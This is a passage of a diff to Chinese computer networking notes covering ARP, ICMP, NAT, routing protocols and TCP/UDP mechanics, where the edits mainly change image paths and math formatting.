-如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
+如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
 
-<div align="center"> <img src="pics/8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
+<img src="index_files/8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/>
 
-## 网际控制报文协议 ICMP
+## 网际控制报文协议 ICMP
 
-ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中，但是不属于高层协议。
+ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中，但是不属于高层协议。
 
-<div align="center"> <img src="pics/e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
+<img src="index_files/e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/>
 
-ICMP 报文分为差错报告报文和询问报文。
+ICMP 报文分为差错报告报文和询问报文。
 
-<div align="center"> <img src="pics/aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
+<img src="index_files/aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/>
 
-### 1. Ping
+### 1. Ping
 
-Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
+Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
 
-Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文，目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
+Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文，目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
 
-### 2. Traceroute
+### 2. Traceroute
 
-Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
+Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
 
-Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报，并由目的主机发送终点不可达差错报告报文。
+Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报，并由目的主机发送终点不可达差错报告报文。
 
-- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
-- 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
-- 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
-- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
+- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
+- 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
+- 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
+- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
 
-## 虚拟专用网 VPN
+## 虚拟专用网 VPN
 
-由于 IP 地址的紧缺，一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中，机构内的计算机可以使用仅在本机构有效的 IP 地址（专用地址）。
+由于 IP 地址的紧缺，一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中，机构内的计算机可以使用仅在本机构有效的 IP 地址（专用地址）。
 
 有三个专用地址块：
 
-- 10.0.0.0 \~ 10.255.255.255
-- 172.16.0.0 \~ 172.31.255.255
-- 192.168.0.0 \~ 192.168.255.255
+- 10.0.0.0 ~ 10.255.255.255
+- 172.16.0.0 ~ 172.31.255.255
+- 192.168.0.0 ~ 192.168.255.255
 
-VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信；虚拟指好像是，而实际上并不是，它有经过公用的互联网。
+VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信；虚拟指好像是，而实际上并不是，它有经过公用的互联网。
 
-下图中，场所 A 和 B 的通信经过互联网，如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信，IP 数据报的源地址是 10.1.0.1，目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1，R1 对内部数据进行加密，然后重新加上数据报的首部，源地址是路由器 R1 的全球地址 125.1.2.3，目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密，恢复原来的数据报，此时目的地址为 10.2.0.3，就交付给 Y。
+下图中，场所 A 和 B 的通信经过互联网，如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信，IP 数据报的源地址是 10.1.0.1，目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1，R1 对内部数据进行加密，然后重新加上数据报的首部，源地址是路由器 R1 的全球地址 125.1.2.3，目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密，恢复原来的数据报，此时目的地址为 10.2.0.3，就交付给 Y。
 
-<div align="center"> <img src="pics/1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
+<img src="index_files/1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/>
 
-## 网络地址转换 NAT
+## 网络地址转换 NAT
 
-专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时，可以使用 NAT 来将本地 IP 转换为全球 IP。
+专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时，可以使用 NAT 来将本地 IP 转换为全球 IP。
 
-在以前，NAT 将本地 IP 和全球 IP 一一对应，这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址，现在常用的 NAT 转换表把传输层的端口号也用上了，使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
+在以前，NAT 将本地 IP 和全球 IP 一一对应，这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址，现在常用的 NAT 转换表把传输层的端口号也用上了，使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
 
-<div align="center"> <img src="pics/2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
+<img src="index_files/2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/>
 
-## 路由器的结构
+## 路由器的结构
 
 路由器从功能上可以划分为：路由选择和分组转发。
 
 分组转发结构由三个部分组成：交换结构、一组输入端口和一组输出端口。
 
-<div align="center"> <img src="pics/c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
+<img src="index_files/c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/>
 
-## 路由器分组转发流程
+## 路由器分组转发流程
 
-- 从数据报的首部提取目的主机的 IP 地址 D，得到目的网络地址 N。
-- 若 N 就是与此路由器直接相连的某个网络地址，则进行直接交付；
-- 若路由表中有目的地址为 D 的特定主机路由，则把数据报传送给表中所指明的下一跳路由器；
-- 若路由表中有到达网络 N 的路由，则把数据报传送给路由表中所指明的下一跳路由器；
-- 若路由表中有一个默认路由，则把数据报传送给路由表中所指明的默认路由器；
-- 报告转发分组出错。
+- 从数据报的首部提取目的主机的 IP 地址 D，得到目的网络地址 N。
+- 若 N 就是与此路由器直接相连的某个网络地址，则进行直接交付；
+- 若路由表中有目的地址为 D 的特定主机路由，则把数据报传送给表中所指明的下一跳路由器；
+- 若路由表中有到达网络 N 的路由，则把数据报传送给路由表中所指明的下一跳路由器；
+- 若路由表中有一个默认路由，则把数据报传送给路由表中所指明的默认路由器；
+- 报告转发分组出错。
 
-<div align="center"> <img src="pics/1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
+<img src="index_files/1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/>
 
-## 路由选择协议
+## 路由选择协议
 
 路由选择协议都是自适应的，能随着网络通信量和拓扑结构的变化而自适应地进行调整。
 
-互联网可以划分为许多较小的自治系统 AS，一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
+互联网可以划分为许多较小的自治系统 AS，一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
 
 可以把路由选择协议划分为两大类：
 
-- 自治系统内部的路由选择：RIP 和 OSPF
-- 自治系统间的路由选择：BGP
+- 自治系统内部的路由选择：RIP 和 OSPF
+- 自治系统间的路由选择：BGP
 
-### 1. 内部网关协议 RIP
+### 1. 内部网关协议 RIP
 
-RIP 是一种基于距离向量的路由选择协议。距离是指跳数，直接相连的路由器跳数为 1。跳数最多为 15，超过 15 表示不可达。
+RIP 是一种基于距离向量的路由选择协议。距离是指跳数，直接相连的路由器跳数为 1。跳数最多为 15，超过 15 表示不可达。
 
-RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表，经过若干次交换之后，所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
+RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表，经过若干次交换之后，所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
 
 距离向量算法：
 
-- 对地址为 X 的相邻路由器发来的 RIP 报文，先修改报文中的所有项目，把下一跳字段中的地址改为 X，并把所有的距离字段加 1；
-- 对修改后的 RIP 报文中的每一个项目，进行以下步骤：
- - 若原来的路由表中没有目的网络 N，则把该项目添加到路由表中；
- - 否则：若下一跳路由器地址是 X，则把收到的项目替换原来路由表中的项目；否则：若收到的项目中的距离 d 小于路由表中的距离，则进行更新（例如原始路由表项为 Net2, 5, P，新表项为 Net2, 4, X，则更新）；否则什么也不做。
-- 若 3 分钟还没有收到相邻路由器的更新路由表，则把该相邻路由器标为不可达，即把距离置为 16。
+- 对地址为 X 的相邻路由器发来的 RIP 报文，先修改报文中的所有项目，把下一跳字段中的地址改为 X，并把所有的距离字段加 1；
+- 对修改后的 RIP 报文中的每一个项目，进行以下步骤：
+ - 若原来的路由表中没有目的网络 N，则把该项目添加到路由表中；
+ - 否则：若下一跳路由器地址是 X，则把收到的项目替换原来路由表中的项目；否则：若收到的项目中的距离 d 小于路由表中的距离，则进行更新（例如原始路由表项为 Net2, 5, P，新表项为 Net2, 4, X，则更新）；否则什么也不做。
+- 若 3 分钟还没有收到相邻路由器的更新路由表，则把该相邻路由器标为不可达，即把距离置为 16。
 
-RIP 协议实现简单，开销小。但是 RIP 能使用的最大距离为 15，限制了网络的规模。并且当网络出现故障时，要经过比较长的时间才能将此消息传送到所有路由器。
+RIP 协议实现简单，开销小。但是 RIP 能使用的最大距离为 15，限制了网络的规模。并且当网络出现故障时，要经过比较长的时间才能将此消息传送到所有路由器。
 
-### 2. 内部网关协议 OSPF
+### 2. 内部网关协议 OSPF
 
-开放最短路径优先 OSPF，是为了克服 RIP 的缺点而开发出来的。
+开放最短路径优先 OSPF，是为了克服 RIP 的缺点而开发出来的。
 
-开放表示 OSPF 不受某一家厂商控制，而是公开发表的；最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
+开放表示 OSPF 不受某一家厂商控制，而是公开发表的；最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
 
-OSPF 具有以下特点：
+OSPF 具有以下特点：
 
-- 向本自治系统中的所有路由器发送信息，这种方法是洪泛法。
-- 发送的信息就是与相邻路由器的链路状态，链路状态包括与哪些路由器相连以及链路的度量，度量用费用、距离、时延、带宽等来表示。
-- 只有当链路状态发生变化时，路由器才会发送信息。
+- 向本自治系统中的所有路由器发送信息，这种方法是洪泛法。
+- 发送的信息就是与相邻路由器的链路状态，链路状态包括与哪些路由器相连以及链路的度量，度量用费用、距离、时延、带宽等来表示。
+- 只有当链路状态发生变化时，路由器才会发送信息。
 
-所有路由器都具有全网的拓扑结构图，并且是一致的。相比于 RIP，OSPF 的更新过程收敛的很快。
+所有路由器都具有全网的拓扑结构图，并且是一致的。相比于 RIP，OSPF 的更新过程收敛的很快。
 
-### 3. 外部网关协议 BGP
+### 3. 外部网关协议 BGP
 
-BGP（Border Gateway Protocol，边界网关协议）
+BGP（Border Gateway Protocol，边界网关协议）
 
-AS 之间的路由选择很困难，主要是由于：
+AS 之间的路由选择很困难，主要是由于：
 
-- 互联网规模很大；
-- 各个 AS 内部使用不同的路由选择协议，无法准确定义路径的度量；
-- AS 之间的路由选择必须考虑有关的策略，比如有些 AS 不愿意让其它 AS 经过。
+- 互联网规模很大；
+- 各个 AS 内部使用不同的路由选择协议，无法准确定义路径的度量；
+- AS 之间的路由选择必须考虑有关的策略，比如有些 AS 不愿意让其它 AS 经过。
 
-BGP 只能寻找一条比较好的路由，而不是最佳路由。
+BGP 只能寻找一条比较好的路由，而不是最佳路由。
 
-每个 AS 都必须配置 BGP 发言人，通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
+每个 AS 都必须配置 BGP 发言人，通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
 
-<div align="center"> <img src="pics/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
+<img src="index_files/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/>
 
-# 五、传输层
+# 五、传输层
 
 网络层只把分组发送到目的主机，但是真正通信的并不是主机而是主机中的进程。传输层提供了进程间的逻辑通信，传输层向高层用户屏蔽了下面网络层的核心细节，使应用程序看起来像是在两个传输层实体之间有一条端到端的逻辑通信信道。
 
-## UDP 和 TCP 的特点
+## UDP 和 TCP 的特点
 
-- 用户数据报协议 UDP（User Datagram Protocol）是无连接的，尽最大可能交付，没有拥塞控制，面向报文（对于应用程序传下来的报文不合并也不拆分，只是添加 UDP 首部），支持一对一、一对多、多对一和多对多的交互通信。
+- 用户数据报协议 UDP（User Datagram Protocol）是无连接的，尽最大可能交付，没有拥塞控制，面向报文（对于应用程序传下来的报文不合并也不拆分，只是添加 UDP 首部），支持一对一、一对多、多对一和多对多的交互通信。
 
-- 传输控制协议 TCP（Transmission Control Protocol）是面向连接的，提供可靠交付，有流量控制，拥塞控制，提供全双工通信，面向字节流（把应用层传下来的报文看成字节流，把字节流组织成大小不等的数据块），每一条 TCP 连接只能是点对点的（一对一）。
+- 传输控制协议 TCP（Transmission Control Protocol）是面向连接的，提供可靠交付，有流量控制，拥塞控制，提供全双工通信，面向字节流（把应用层传下来的报文看成字节流，把字节流组织成大小不等的数据块），每一条 TCP 连接只能是点对点的（一对一）。
 
-## UDP 首部格式
+## UDP 首部格式
 
-<div align="center"> <img src="pics/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
+<img src="index_files/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/>
 
-首部字段只有 8 个字节，包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
+首部字段只有 8 个字节，包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
 
-## TCP 首部格式
+## TCP 首部格式
 
-<div align="center"> <img src="pics/55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
+<img src="index_files/55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/>
 
--  **序号**  ：用于对字节流进行编号，例如序号为 301，表示第一个字节的编号为 301，如果携带的数据长度为 100 字节，那么下一个报文段的序号应为 401。
+- **序号** ：用于对字节流进行编号，例如序号为 301，表示第一个字节的编号为 301，如果携带的数据长度为 100 字节，那么下一个报文段的序号应为 401。
 
--  **确认号**  ：期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段，序号为 501，携带的数据长度为 200 字节，因此 B 期望下一个报文段的序号为 701，B 发送给 A 的确认报文段中确认号就为 701。
+- **确认号** ：期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段，序号为 501，携带的数据长度为 200 字节，因此 B 期望下一个报文段的序号为 701，B 发送给 A 的确认报文段中确认号就为 701。
 
--  **数据偏移**  ：指的是数据部分距离报文段起始处的偏移量，实际上指的是首部的长度。
+- **数据偏移** ：指的是数据部分距离报文段起始处的偏移量，实际上指的是首部的长度。
 
--  **确认 ACK**  ：当 ACK=1 时确认号字段有效，否则无效。TCP 规定，在连接建立后所有传送的报文段都必须把 ACK 置 1。
+- **确认 ACK** ：当 ACK=1 时确认号字段有效，否则无效。TCP 规定，在连接建立后所有传送的报文段都必须把 ACK 置 1。
 
--  **同步 SYN**  ：在连接建立时用来同步序号。当 SYN=1，ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接，则响应报文中 SYN=1，ACK=1。
+- **同步 SYN** ：在连接建立时用来同步序号。当 SYN=1，ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接，则响应报文中 SYN=1，ACK=1。
 
--  **终止 FIN**  ：用来释放一个连接，当 FIN=1 时，表示此报文段的发送方的数据已发送完毕，并要求释放连接。
+- **终止 FIN** ：用来释放一个连接，当 FIN=1 时，表示此报文段的发送方的数据已发送完毕，并要求释放连接。
 
--  **窗口**  ：窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制，是因为接收方的数据缓存空间是有限的。
+- **窗口** ：窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制，是因为接收方的数据缓存空间是有限的。
 
-## TCP 的三次握手
+## TCP 的三次握手
 
-<div align="center"> <img src="pics/e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
+<img src="index_files/e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/>
 
-假设 A 为客户端，B 为服务器端。
+假设 A 为客户端，B 为服务器端。
 
-- 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
+- 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
 
-- A 向 B 发送连接请求报文，SYN=1，ACK=0，选择一个初始的序号 x。
+- A 向 B 发送连接请求报文，SYN=1，ACK=0，选择一个初始的序号 x。
 
-- B 收到连接请求报文，如果同意建立连接，则向 A 发送连接确认报文，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
+- B 收到连接请求报文，如果同意建立连接，则向 A 发送连接确认报文，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
 
-- A 收到 B 的连接确认报文后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
+- A 收到 B 的连接确认报文后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
 
-- B 收到 A 的确认后，连接建立。
+- B 收到 A 的确认后，连接建立。
 
-**三次握手的原因** 
+**三次握手的原因**
 
 第三次握手是为了防止失效的连接请求到达服务器，让服务器错误打开连接。
 
 客户端发送的连接请求如果在网络中滞留，那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后，就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器，如果不进行三次握手，那么服务器就会打开两个连接。如果有第三次握手，客户端会忽略服务器之后发送的对滞留连接请求的连接确认，不进行第三次握手，因此就不会再次打开连接。
 
-## TCP 的四次挥手
+## TCP 的四次挥手
 
-<div align="center"> <img src="pics/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
+<img src="index_files/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/>
 
-以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
+以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
 
-- A 发送连接释放报文，FIN=1。
+- A 发送连接释放报文，FIN=1。
 
-- B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
+- B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
 
-- 当 B 不再需要连接时，发送连接释放报文，FIN=1。
+- 当 B 不再需要连接时，发送连接释放报文，FIN=1。
 
-- A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
+- A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
 
-- B 收到 A 的确认后释放连接。
+- B 收到 A 的确认后释放连接。
 
-**四次挥手的原因** 
+**四次挥手的原因**
 
-客户端发送了 FIN 连接释放报文之后，服务器收到了这个报文，就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据，传送完毕之后，服务器会发送 FIN 连接释放报文。
+客户端发送了 FIN 连接释放报文之后，服务器收到了这个报文，就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据，传送完毕之后，服务器会发送 FIN 连接释放报文。
 
-**TIME_WAIT** 
+**TIME_WAIT**
 
-客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
+客户端接收到服务器端的 FIN 报文后进入此状态，此时并不是直接进入 CLOSED 状态，还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由：
 
-- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文，那么就会重新发送连接释放请求报文，A 等待一段时间就是为了处理这种情况的发生。
+- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文，那么就会重新发送连接释放请求报文，A 等待一段时间就是为了处理这种情况的发生。
 
-- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文。
+- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失，使得下一个新的连接不会出现旧的连接请求报文。
 
-## TCP 可靠传输
+## TCP 可靠传输
 
-TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文段在超时时间内没有收到确认，那么就重传这个报文段。
+TCP 使用超时重传来实现可靠传输：如果一个已经发送的报文段在超时时间内没有收到确认，那么就重传这个报文段。
 
-一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT，加权平均往返时间 RTTs 计算如下：
+一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT，加权平均往返时间 RTTs 计算如下：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT"/></div> <br>
+$$ RTTs = (1-a)*(RTTs) + a*RTT $$
 
-超时时间 RTO 应该略大于 RTTs，TCP 使用的超时时间计算如下：
+超时时间 RTO 应该略大于 RTTs，TCP 使用的超时时间计算如下：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d"/></div> <br>
+$$ RTO = RTTs + 4*RTT_d $$
 
-其中 RTT<sub>d</sub> 为偏差。
+其中 RTT<sub>d</sub> 为偏差。
 
-## TCP 滑动窗口
+## TCP 滑动窗口
 
-窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
+窗口是缓存的一部分，用来暂时存放字节流。发送方和接收方各有一个窗口，接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小，发送方根据这个值和其它信息设置自己的窗口大小。
 
 发送窗口内的字节都允许被发送，接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认，那么就将发送窗口向右滑动一定距离，直到左部第一个字节不是已发送并且已确认的状态；接收窗口的滑动类似，接收窗口左部字节已经发送确认并交付主机，就向右滑动接收窗口。
 
-接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
+接收窗口只会对窗口内最后一个按序到达的字节进行确认，例如接收窗口已经收到的字节为 {31, 34, 35}，其中 {31} 按序到达，而 {34, 35} 就不是，因此只对字节 31 进行确认。发送方得到一个字节的确认之后，就知道这个字节之前的所有字节都已经被接收。
 
-<div align="center"> <img src="pics/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
+<img src="index_files/a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/>
 
-## TCP 流量控制
+## TCP 流量控制
 
 流量控制是为了控制发送方发送速率，保证接收方来得及接收。
 
-接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。
+接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。
 
-## TCP 拥塞控制
+## TCP 拥塞控制
 
 如果网络出现拥塞，分组将会丢失，此时发送方会继续重传，从而导致网络拥塞程度更高。因此当出现拥塞时，应当控制发送方的速率。这一点和流量控制很像，但是出发点不同。流量控制是为了让接收方能来得及接收，而拥塞控制是为了降低整个网络的拥塞程度。
 
-<div align="center"> <img src="pics/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
+<img src="index_files/51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/>
 
-TCP 主要通过四个算法来进行拥塞控制：慢开始、拥塞避免、快重传、快恢复。
+TCP 主要通过四个算法来进行拥塞控制：慢开始、拥塞避免、快重传、快恢复。
 
 发送方需要维护一个叫做拥塞窗口（cwnd）的状态变量，注意拥塞窗口与发送方窗口的区别：拥塞窗口只是一个状态变量，实际决定发送方能发送多少数据的是发送方窗口。
 
 为了便于讨论，做如下假设：
 
-- 接收方有足够大的接收缓存，因此不会发生流量控制；
-- 虽然 TCP 的窗口基于字节，但是这里设窗口的大小单位为报文段。
+- 接收方有足够大的接收缓存，因此不会发生流量控制；
+- 虽然 TCP 的窗口基于字节，但是这里设窗口的大小单位为报文段。
 
-<div align="center"> <img src="pics/910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
+<img src="index_files/910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/>
 
-### 1. 慢开始与拥塞避免
+### 1. 慢开始与拥塞避免
 
-发送的最初执行慢开始，令 cwnd = 1，发送方只能发送 1 个报文段；当收到确认后，将 cwnd 加倍，因此之后发送方能够发送的报文段数量为：2、4、8 ...
+发送的最初执行慢开始，令 cwnd = 1，发送方只能发送 1 个报文段；当收到确认后，将 cwnd 加倍，因此之后发送方能够发送的报文段数量为：2、4、8 ...
 
-注意到慢开始每个轮次都将 cwnd 加倍，这样会让 cwnd 增长速度非常快，从而使得发送方发送的速度增长速度过快，网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh，当 cwnd >= ssthresh 时，进入拥塞避免，每个轮次只将 cwnd 加 1。
+注意到慢开始每个轮次都将 cwnd 加倍，这样会让 cwnd 增长速度非常快，从而使得发送方发送的速度增长速度过快，网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh，当 cwnd >= ssthresh 时，进入拥塞避免，每个轮次只将 cwnd 加 1。
 
-如果出现了超时，则令 ssthresh = cwnd / 2，然后重新执行慢开始。
+如果出现了超时，则令 ssthresh = cwnd / 2，然后重新执行慢开始。
 
-### 2. 快重传与快恢复
+### 2. 快重传与快恢复
 
-在接收方，要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>，此时收到 M<sub>4</sub>，应当发送对 M<sub>2</sub> 的确认。
+在接收方，要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>，此时收到 M<sub>4</sub>，应当发送对 M<sub>2</sub> 的确认。
 
-在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
+在发送方，如果收到三个重复确认，那么可以知道下一个报文段丢失，此时执行快重传，立即重传下一个报文段。例如收到三个 M<sub>2</sub>，则 M<sub>3</sub> 丢失，立即重传 M<sub>3</sub>。
 
-在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd / 2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。
